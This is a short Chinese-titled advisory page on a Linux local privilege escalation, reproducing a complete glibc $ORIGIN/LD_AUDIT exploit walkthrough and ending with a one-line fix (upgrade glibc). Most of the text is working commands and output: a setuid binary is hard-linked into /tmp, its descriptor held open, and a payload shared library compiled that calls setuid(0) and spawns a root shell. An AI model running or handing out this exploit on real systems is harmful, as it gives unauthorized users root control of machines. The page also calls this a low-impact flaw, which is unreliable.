linux2.6内核本地提权

It is possible to exploit this flaw to execute arbitrary code as root.

Please note, this is a low impact vulnerability that is only of interest to
security professionals and system administrators. End users do not need
to be concerned.

Exploitation would look like the following.

# Create a directory in /tmp we can control.
$ mkdir /tmp/exploit
 
# Link to an suid binary, thus changing the definition of $ORIGIN.
$ ln /bin/ping /tmp/exploit/target
 
# Open a file descriptor to the target binary (note: some users are surprised
# to learn exec can be used to manipulate the redirections of the current
# shell if a command is not specified. This is what is happening below).
$ exec 3< /tmp/exploit/target
 
# This descriptor should now be accessible via /proc.
$ ls -l /proc/$$/fd/3
lr-x------ 1 taviso taviso 64 Oct 15 09:21 /proc/10836/fd/3 -> /tmp/exploit/target*
 
# Remove the directory previously created
$ rm -rf /tmp/exploit/
 
# The /proc link should still exist, but now will be marked deleted.
$ ls -l /proc/$$/fd/3
lr-x------ 1 taviso taviso 64 Oct 15 09:21 /proc/10836/fd/3 -> /tmp/exploit/target (deleted)
 
# Replace the directory with a payload DSO, thus making $ORIGIN a valid target to dlopen().
$ cat > payload.c
void __attribute__((constructor)) init()
{
    setuid(0);
    system("/bin/bash");
}
^D
$ gcc -w -fPIC -shared -o /tmp/exploit payload.c
$ ls -l /tmp/exploit
-rwxrwx--- 1 taviso taviso 4.2K Oct 15 09:22 /tmp/exploit*
 
# Now force the link in /proc to load $ORIGIN via LD_AUDIT.
$ LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3
sh-4.1# whoami
root
sh-4.1# id
uid=0(root) gid=500(taviso)

 漏洞解决方法(这是由GCC引发的一个漏洞):
升级:glibc